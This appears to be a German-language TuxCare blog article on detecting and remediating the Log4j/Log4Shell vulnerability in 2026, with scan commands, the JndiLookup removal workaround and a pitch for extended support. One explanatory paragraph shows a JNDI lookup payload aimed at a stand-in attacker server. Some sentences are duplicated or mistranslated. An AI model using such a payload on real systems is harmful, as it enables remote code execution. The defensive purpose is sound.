Behebung der Log4j-Sicherheitslücke: Erkennen, beheben und schützen Sie Ihr System im Jahr 2026

Wichtigste Erkenntnisse

• Der Log4j-Sicherheitspatch, der bis 2026 gültig bleibt, ist eine derzeit gepflegte log4j-core Version, die weit über 2.17.1 hinausgeht.
• Wenn Sie 2021 bei Version 2.15.0 oder 2.16.0 stehen bleiben, sind Sie weiterhin anfällig für CVEs, die erst Tage später bekannt gegeben werden.
• Das Schwierigste daran ist, jede einzelne Log4j-Kopie in „shaded“ JARs, Basis-Images und Hersteller-Appliances aufzuspüren.

Wenn ein Scanner gerade log4j-coregemeldet hat, ist die Behebung der Log4j-Sicherheitslücke an sich kurz. Aktualisieren Sie log4j-core und log4j-api gemeinsam auf eine aktuell gepflegte Log4j-Version unter Java 8 oder neuer zusammen. Ist ein Neuaufbau derzeit nicht möglich? Löschen Sie die Datei JndiLookup aus der JAR-Datei verhindert zwar die Ausnutzung der Log4Shell-Sicherheitslücke, verschafft Ihnen aber nur etwas Zeit.

Alles, was nach diesem Absatz folgt, behandelt das, was in der Kurzfassung ausgelassen wurde. Sie werden sehen, wo nicht erfasste Instanzen häufig auftauchen: in „schattierten“ JARs, Hersteller-Appliances und Containern, die niemand inventarisiert hat. Sie werden auch erfahren, warum ein Patch auf Version 2.15.0 oder 2.16.0 aus dem Jahr 2021 nicht bedeutet, dass Sie heute abgesichert sind, und was Sie mit der Log4j-Instanz tun sollten, die Sie bis zum nächsten Wartungsfenster nicht anfassen dürfen.

Was ist die als „Log4Shell“ bekannte Log4j-Sicherheitslücke?

Log4Shell, registriert unter der Kennung CVE-2021-44228, ist eine Sicherheitslücke in Apache Log4j 2, die die Ausführung von Code aus der Ferne ermöglicht. Betroffen sind die Versionen 2.0-beta9 bis 2.3, 2.4 bis 2.12.1 sowie 2.13.0 bis 2.14.1; die Sicherheitslücke weist einen CVSS-Wert von 10,0 auf. Höher kann die Bewertung nicht ausfallen.

The root cause was Log4j’s message-lookup feature, which treated certain substrings inside a logged value as instructions instead of plain text. Drop a string like ${jndi:ldap://attacker-server/a} into any logged field, and a vulnerable Log4j would fire off a JNDI lookup to a server the attacker controls. In plenty of real environments, that lookup ended with the attacker’s code running inside the application. No credentials needed. Nobody had to click anything, and the payload could ride in on something as ordinary as a User-Agent header.

Warum die Behebung der Log4j-Sicherheitslücke auch im Jahr 2026 noch wichtig ist

Log4Shell wurde vor fast fünf Jahren bekannt, und die CISA nahm es noch in derselben Woche in ihren Katalog „Known Exploited Vulnerabilities“ (KEV) auf. Es ist immer noch nicht verschwunden. Untersuchungen von Sonatype ergab, dass etwa 13 % der Log4j-Downloads aus Maven Central im Jahr 2025– etwa 40 Millionen von fast 300 Millionen – immer noch eine für Log4Shell anfällige Version enthielten. Contrast Security stellte fest, dass 12 % der Java-Anwendungen liefen drei Jahre nach der Bekanntgabe immer noch mit einer anfälligen Version drei Jahre nach Bekanntwerden der Sicherheitslücke.

Ein Teil davon ist darauf zurückzuführen, dass manche Teams überhaupt keine Patches installiert haben. Ein großer Teil ergibt sich aber auch daraus, wie sich Abhängigkeitsgraphen im Nachhinein verschieben. Ein neuer Dienst, der aus einer alten Projektvorlage gestartet wird, übernimmt die Version, die in dieser Vorlage festgelegt wurde. Eine Änderung der Abhängigkeiten an anderer Stelle kann die transitive Auflösung verschieben und eine ältere Log4j-Version wieder ins System ziehen. Und ein System, das aus einem vor Dezember 2021 erstellten Backup wiederhergestellt wird, ist wieder genauso anfällig wie an dem Tag, an dem das Backup erstellt wurde. Jeder dieser Fälle kann dazu führen, dass eine anfällige Version wieder in eine Umgebung gelangt, die einen Scan bereits bestanden hat – ohne dass jemand bewusst beschlossen hat, die Korrektur rückgängig zu machen.

So funktionieren Log4Shell-Angriffe

Die Kette ist kurz, was ein wesentlicher Grund dafür ist, warum sie so großen Schaden angerichtet hat. Ein Angreifer schmuggelt eine JNDI-Lookup-Zeichenkette in ein beliebiges Feld ein, das die Anwendung protokolliert – sei es ein Request-Header, ein Benutzername oder eine Suchanfrage. Log4j wertet die Zeichenkette als Befehl aus, anstatt sie als Text auszugeben, und die JVM öffnet eine ausgehende Verbindung zu dem darin genannten LDAP- oder RMI-Server. In einer ausnutzbaren Konfiguration kann diese Abfrage dazu führen, dass vom Angreifer kontrollierter Code mit denselben Berechtigungen wie die Protokollierungsanwendung ausgeführt wird.

Für die Ausnutzung von CVE-2021-44228 ist keine Authentifizierung erforderlich, und die Anwendung muss mit der Eingabe nichts Ungewöhnliches tun. Die Zeichenfolge muss lediglich irgendwann in einer Protokollanweisung auftauchen.

Weitere Log4j-Sicherheitslücken entdeckt

Log4Shell ließ sich nicht mit einer einzigen Lösung beheben. Apache veröffentlichte innerhalb von weniger als drei Wochen vier Versionen, von denen jede schloss eine Lücke, die das vorherige noch offen gelassen hatte. Wenn Ihr Team im Dezember 2021 einmal ein Patch installiert und es dann dabei belassen hat, ist die Wahrscheinlichkeit groß, dass die Behebung der Log4j-Sicherheitslücke bei Version 2.15.0 oder 2.16.0 endete – und beide Versionen sind nach wie vor von mindestens einer der in dieser Tabelle aufgeführten CVEs betroffen.

Unter Java 8 war Version 2.17.1 die erste Version, mit der alle vier oben genannten Log4j 2-Probleme behoben wurden. Auch Teams, die Java 7 oder Java 6 unterstützen, waren nicht auf die Hand hinter, da Apache dieselben Korrekturen in 2.12.4 und 2.3.2, den letzten Versionen, die diese Zweige jemals erhielten.

Das bedeutet jedoch nicht, dass 2.17.1 im Jahr 2026 ein guter Zeitpunkt zum Umstieg wäre. Apache führt nun die gesamte 2.17.x-Reihe als „End-of-Maintenance“ (Ende der Wartung) auf, und Korrekturen für seitdem entdeckte Log4j-Probleme fließen in die weiterhin gepflegten 2.25.x- und 2.26.x-Reihen ein.

Log4j 1.x steht außerhalb dieser gesamten Entwicklung. Es verfügt zwar nicht über die Lookup-Funktion, die hinter Log4Shell steckt, hat aber im August 2015 im August 2015, Jahre bevor all dies passierte, sodass CVE-2021-4104 niemals durch einen Upstream-Patch behoben werden wird. Indem man sicherstellt, dass JMSAppender nicht konfiguriert ist, wird diese spezielle Sicherheitslücke geschlossen. Langfristig gesehen sind die realistischen Optionen entweder die Migration weg von 1.x oder der Einsatz einer gepflegten Version, wie beispielsweise TuxCares ELS für Log4j 1.2.x.

So erkennen Sie die Log4j-Sicherheitslücke in Ihrer Umgebung

Drei Überprüfungen decken drei verschiedene Aspekte auf, und wenn man auch nur eine davon auslässt, entsteht eine Lücke, die die anderen beiden nicht schließen können.

Überprüfen Sie zunächst Ihre Build-Manifeste

mvn dependency:tree -Dincludes=org.apache.logging.log4j
./gradlew dependencies –configuration runtimeClasspath | grep log4j

Hier werden alle Log4j-Abhängigkeiten aufgelistet, die Ihr Build auflöst, einschließlich der transitiven. Es werden keine Elemente gefunden, die in einem Anbieter-JAR enthalten sind, das von vornherein nie als Abhängigkeit deklariert wurde.

In den bereitgestellten Artefakten nach der Klasse selbst suchen

„Shaded“ JARs können Pakete verschieben oder die Metadaten entfernen, auf die Scanner angewiesen sind, aber der Bytecode ist nach wie vor darin enthalten. Durchsuchen Sie die Archive direkt und richten Sie die Suche auf die Pfade aus, in denen sich Ihre Anwendungen tatsächlich befinden. Das Durchsuchen aller / auf einem stark ausgelasteten Produktionsserver ist langsam und belastet die Festplatten-E/A stark.

find /opt /srv /var/lib ‘(‘ -name „*.jar“ -o -name „*.war“ -o -name „*.ear“ ‘)’ -type f 2>/dev/null |
  while read -r f; do
unzip -l „$f“ 2>/dev/null | grep -qE ‚JndiLookup\.class|log4j-core‘ && echo „$f“
  done

Jeder Treffer, den Ihre Manifest-Suche nicht bereits angezeigt hat, ist eine Kopie, die niemand deklariert hat – wie beispielsweise die zehn Jahre alte WAR-Datei, die Hersteller-Appliance oder das Basis-Image, das jemand im Jahr 2019 erstellt hat. Beachten Sie, dass ein Treffer lediglich bedeutet, dass Log4j 2 vorhanden ist, nicht jedoch, dass es anfällig ist. Gepatchte Versionen werden weiterhin ausgeliefert JndiLookup.classenthalten; überprüfen Sie daher die Version, bevor Sie ein Ticket eröffnen (die pom.properties unter META-INF/maven innerhalb der JAR-Datei enthält diese Information in der Regel). Container-Image-Layer, Appliances, auf die man sich nicht per Shell einloggen kann, und Archive, die mehrere Ebenen tief verschachtelt sind, erfordern einen speziell entwickelten Scanner anstelle eines Einzeilers.

Überprüfen Sie, was tatsächlich läuft

Eine JAR-Datei, die sich auf der Festplatte befindet und nie geladen wird, stellt einen weniger schwerwiegenden Befund dar als dieselbe Klasse, die innerhalb eines laufenden Prozesses geladen wird. Sehen Sie sich die laufenden JVMs an und überprüfen Sie, welche Log4j-Version jeder Prozess beim Start tatsächlich verwendet hat, da dies von dem abweichen kann, was sich in der Quellcodeverwaltung befindet oder was vor Monaten in ein Image integriert wurde.

On a host, lsof -p <PID> | grep -i log4j lists the Log4j JARs a running JVM currently has open. That’s good evidence, but it isn’t a complete record of every class the process has loaded, and fat JARs only show up as the outer archive. Pair it with the artifact search above.

Hinweis: Führen Sie alle drei Prüfungen in dieser Reihenfolge durch, bevor Sie den Behebungsprozess für die Log4j-Sicherheitslücke als abgeschlossen betrachten. Ein Manifest-Scan allein wird die Anwendung problemlos als sauber melden, obwohl sich eine vom Anbieter mitgelieferte Kopie drei Verzeichnisse weiter entfernt befindet.

Die Behebung der Log4j-Sicherheitslücke Schritt für Schritt

Die Bibliothek aktualisieren oder zurückportieren

Aktualisieren log4j-core und log4j-api gemeinsam auf eine aktuell gepflegte Log4j-Version, die Ihre Java-Laufzeitumgebung unterstützt. Unter Java 8 war 2.17.1 die erste Version, die alle vier hier behandelten CVEs behoben hat, doch diese Version wird nun nicht mehr weiter gepflegt. Betrachten Sie sie daher als Mindeststandard für 2021 und streben Sie eine höhere Version an. Fixieren Sie die Version oder verwalten Sie sie zentral (durch Importieren von log4j-bom in Mavens dependencyManagement funktioniert gut), anstatt sie der transitiven Auflösung zu überlassen, die unbemerkt eine ältere Version wieder einbinden könnte. Erstellen Sie anschließend jedes Artefakt neu, das die Bibliothek enthält – nicht nur dasjenige, das von einem Scanner markiert wurde.

Manche Instanzen lassen sich in Ihrem Zeitplan einfach nicht aktualisieren. Für Log4j 1.x gibt es überhaupt keinen Upstream-Fix, und manche Anwendungen sind an eine ältere Log4j-Version gebunden, bei der ein Versionssprung nur mit erheblichem Aufwand möglich ist.

Das ist die Lücke , für die der „Endless Lifecycle Support“ von TuxCare für Log4j wurde genau dafür entwickelt und wird im Folgenden näher erläutert. Vom Hersteller gebündelte Versionen stellen ein anderes Problem dar. Appliances und proprietäre Builds können in der Regel nicht geändert werden, ohne einen signierten Build oder einen Supportvertrag zu verletzen, sodass der Fix vom Hersteller kommen muss.

Schützen Sie sich vor dem, was Sie noch nicht patchen können

Wenn bei einem betroffenen Log4j 2-Build die Neuerstellung blockiert ist, bestand die von Apache im Rahmen der Log4Shell-Maßnahmen empfohlene Notfallmaßnahme darin, die anfällige Klasse physisch zu entfernen:

zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

Diese Einstellung bleibt auch nach einem Neustart erhalten und ist nicht von der Laufzeitkonfiguration abhängig. Sie sperrt den JNDI-Lookup-Pfad im Zusammenhang mit CVE-2021-44228 und CVE-2021-45046, hat jedoch keine Auswirkungen auf den Denial-of-Service-Angriff in CVE-2021-45105 oder das JDBC-Appender-Problem in CVE-2021-44832. Die formatMsgNoLookups , das als vorläufige Abhilfe im Umlauf war, existiert nur ab Version 2.10 und behebt das Problem CVE-2021-45046 überhaupt nicht. Beides verschafft lediglich Zeit, bis das Upgrade verfügbar ist.

Überprüfen Sie die Korrektur auf dem laufenden System

Führen Sie die Artefaktsuche aus dem vorherigen Abschnitt erneut durch und überprüfen Sie anschließend die geladene Version in jeder aktiven JVM. Ein gepatchter Build in Ihrer Registry sagt nichts über den Container aus, der derzeit den Datenverkehr auf Basis eines Images bedient, das bereits vor zwei Deploys erstellt wurde. Notieren Sie sich auch, was Sie zur Laufzeit überprüft haben. Anhand dieser Aufzeichnung können Sie den Befund endgültig schließen, anstatt ihn beim nächsten Scan erneut zu entdecken.

Wenn ein Upgrade nicht möglich ist

Bei einigen Log4j-Implementierungen ist ein Umstieg auf eine gepflegte Version innerhalb eines angemessenen Zeitrahmens nicht möglich. Man denke beispielsweise an eine Anwendung, die im Vorfeld eines Compliance-Audits eingefroren wurde, oder an ein System, dessen Upgrade-Pfad über Code führt, den niemand im aktuellen Team geschrieben hat. Der Verbleib bei der aktuellen Version hat jedoch seinen Preis. Log4j 2.14.1 fällt eindeutig in den von CVE-2021-44228 betroffenen Bereich, und dabei handelt es sich um eine Schwachstelle mit einem CVSS-Wert von 10,0, die keine Authentifizierung erfordert und lediglich eine protokollierte Zeichenfolge benötigt.

Der „Endless Lifecycle Support“ von TuxCare für Log4j bietet mit Sicherheitspatches versehene, direkt einsetzbare Builds von Log4j-Versionen, die vom Upstream-Entwickler nicht mehr gepflegt werden. Dies umfasst die Versionen 1.2.14 bis 1.2.17 sowie ältere 2.x-Versionen wie 2.5, 2.11.0, 2.17.1 und 2.17.2. Teams, die eine nicht abgedeckte Version wie 2.14.1 verwenden, können auf eine kompatible, unterstützte Version umsteigen. Das ist zwar immer noch ein Versionswechsel, der mit einer Neuerstellung und Tests verbunden ist, aber er kann deutlich weniger aufwendig sein als ein direkter Sprung auf 2.25.x. Sobald der Wechsel erfolgt ist, erhält das System weiterhin Sicherheitspatches, während die größere Migration nach Ihrem Zeitplan geplant wird.

Verhindern, dass sich die Korrektur wieder auflöst

Dass ein Scan einmal erfolgreich verläuft, bedeutet noch nicht, dass die Fehlerbehebung dauerhaft wirkt. Mit ein paar einfachen Gewohnheiten lässt sich dies gewährleisten, ohne dass es zu einem zweiten Vollzeitjob wird.

Beginnen Sie damit, log4j-core und log4j-api in jeder Build-Datei, die damit in Berührung kommt, explizit festzulegen, anstatt die Entscheidung einem übergeordneten POM oder einer transitiven Abhängigkeit zu überlassen. Machen Sie die Bestandsaufnahme anschließend zu einem wiederkehrenden Job statt einer einmaligen Überprüfung. Neue Dienste, wiederhergestellte Backups und alte Container-Images können alle unbeabsichtigt eine anfällige Version zurückbringen. Führen Sie die Artefaktsuche nach einem Zeitplan durch und überprüfen Sie die gefundenen Versionen, denn JndiLookup.class allein bereits gepatchte Kopien als problematisch markiert.

Schränken Sie den ausgehenden Netzwerkzugriff von Anwendungsservern ein, wo immer dies möglich ist. Der klassische Angriffsweg von Log4Shell setzt voraus, dass der Host den LDAP- oder RMI-Server eines Angreifers erreicht; daher unterbricht die ausgehende Filterung die häufigste Angriffskette. DNS-basierte Datenlecks oder CVEs, die nicht auf JNDI-Callbacks beruhen, werden dadurch jedoch nicht verhindert. Es handelt sich um eine mehrschichtige Verteidigung – Sie müssen weiterhin Patches installieren.

Zuletzt sollten EOL-Bibliotheken und -Laufzeitumgebungen als eigene Bestands-Kategorie gekennzeichnet werden, getrennt von „erfordert eine Versionserhöhung“. Eine unterstützte Komponente verfügt über einen aktiven Upstream-Pfad zu einer Korrektur. Eine EOL-Komponente erhält Korrekturen nur, wenn diese im Rahmen einer Vereinbarung zur Verlängerung des Lebenszyklus zurückportiert werden.

Log4j mit TuxCare absichern

Log4j wird nicht die letzte Bibliothek sein, die sich als allgegenwärtig und zugleich heimtückisch gefährlich erweist, aber es ist diejenige, die die meisten Java-Teams bereits einmal am eigenen Leib erfahren haben. Der „Endless Lifecycle Support“ von TuxCare erweitert die Bereitstellung von Sicherheitspatches auf Log4j und andere Bibliotheken sowie Laufzeiten, deren offizielles Lebensende bereits überschritten ist. So muss eine Version, die Sie noch nicht aktualisieren können, nicht zwangsläufig eine Version sein, die Sie ungepatcht betreiben. Wenn Ihre Bestandsaufnahme Log4j-Instanzen aufdeckt, die nicht termingerecht migriert werden können, ist dies genau das Problem, für dessen Lösung dieser Service entwickelt wurde.

Zusammenfassung

Artikel Name

Behebung der Log4j-Sicherheitslücke: Erkennen, beheben und schützen Sie Ihr System im Jahr 2026

Beschreibung

So erkennen und beheben Sie Log4j-Sicherheitslücken schnell, schützen Ihre Systeme vor Log4Shell-Angriffen und sorgen mit bewährten Verfahren und automatisierten Lösungen für Sicherheit.

Autor

Claudia Cejas

Name des Herausgebers

TuxCare

Logo des Herausgebers